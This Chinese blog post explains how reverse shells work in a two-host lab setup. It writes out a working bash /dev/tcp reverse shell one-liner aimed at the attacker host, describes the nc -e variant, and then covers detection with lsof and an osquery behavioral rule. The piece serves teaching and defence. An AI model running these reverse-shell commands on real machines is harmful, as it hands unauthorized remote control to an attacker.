一、shell反弹方法
环境
- 受害服务器:172.16.93.202
- 主动攻击服务器:172.16.93.193
在主动攻击服务器上开启监听一个tcp 7777端口的服务
1 | tmux |
在受害者机器上执行如下命令
1 | bash -i >& /dev/tcp/172.16.93.193/7777 0>&1 |
主动攻击服务器上-显示效果如下:
1 | #主动攻击服务器命令行前后变化 |
如何理解下面的nc命令?
1 | bash -i >& /dev/tcp/172.16.93.193/7777 0>&1 |
- “bash -i” 代表在本地打开一个bash
- “/dev/tcp/” 是Linux中的一个特殊设备,打开这个文件就相当于发出了一此socket调用,建立了一个socket连接
- “>&” 后面跟上“/dev/tcp/ip/port”这个文件代表将标准输出和标准错误输出重定向到这个文件(Linux一切皆文件)“/dev/tcp/ip/port” 。如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。这个时候对就可以对远程“受害” CentOS7进行操作。
二、nc反弹方法
在主动攻击服务器上开启监听一个tcp 7777端口的服务
1 | tmux |
在受害者机器上执行如下命令
1 | #修改为主动攻击服务器的IP和端口 |
这里的-e后面跟的参数表示:在创建连接后执行的程序,即在连接到远程后可以在远程执行一个本地shell(/bin/bash
),也就是反弹一个shell给远程。
主动攻击服务器上-显示效果如下:
1 | # nc -lvp 7777 |
三、反弹shell 思路总结
1 | #通过lsof命令可以看到当前文件描述符打开情况 |
综合上述分析,反弹Shell的识别思路:检查Bash进程是否打开了终端设备,是否有主动对外连接
四、防御
1 | yum -y install yum-utils |
cat /etc/osquery/osquery.conf
1 | [root@make osquery]# cat osquery.conf |
1 | #if osqueryd is started,than run cmd 'systemctl stop osqueryd' |
日志路径:/var/log/osquery/osqueryd.results.log
1 | $ grep "behavioral_reverse_shell" /var/log/osquery/osqueryd.results.log |grep "added" |
日志内容可以通过监控并告警,告警后核查反弹shell, 确认后Kill 对应的Pid
- 本文作者: GaryWu
- 本文链接: https://garywu520.github.io/2020/03/27/反弹shell/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!